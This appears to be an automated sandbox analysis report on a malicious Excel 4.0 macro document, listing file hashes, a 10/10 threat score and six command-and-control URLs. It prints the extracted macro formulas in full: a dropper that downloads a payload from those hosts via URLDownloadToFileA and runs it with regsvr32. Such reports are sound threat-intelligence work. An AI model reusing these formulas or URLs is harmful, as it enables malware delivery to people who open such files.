15698a03ca9794be8ae2fb4b9fca274ec29c70cbc412a48ce9ae4acb22ba03a5

General

Target

15698a03ca9794be8ae2fb4b9fca274ec29c70cbc412a48ce9ae4acb22ba03a5
Size

40KB
Sample

241120-pvlldawgmg
MD5

86d9da8b49acab84f9f8508394daf8e2
SHA1

9d6152f038720d1ae8b125a29afe2d8b9ca8a00b
SHA256

15698a03ca9794be8ae2fb4b9fca274ec29c70cbc412a48ce9ae4acb22ba03a5
SHA512

8f341e1cf6c455ba6a05f0bedf0344071bfd8b27ee9b3a55106fec712abe894d6f72d54fa79c507c6aa452fb70bf6652a7462e7ccfffc05e212a77ad0670e6c8
SSDEEP

768:G9oms9O+pOevZCwtxyKfcrND59V+L9Rw4eWrXcTqw0VfWZE:G9oms7tylND59V4jwmXc2RVfW+

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/

https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/

https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/

https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/

https://axial-ing.fr/old/98WgLPFy5u2Xf/

https://luape.es/wp-admin/moJpURVz/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://axial-ing.fr/old/98WgLPFy5u2Xf/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://luape.es/wp-admin/moJpURVz/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/

xlm40.dropper

https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/

xlm40.dropper

https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/

xlm40.dropper

https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/

xlm40.dropper

https://axial-ing.fr/old/98WgLPFy5u2Xf/

xlm40.dropper

https://luape.es/wp-admin/moJpURVz/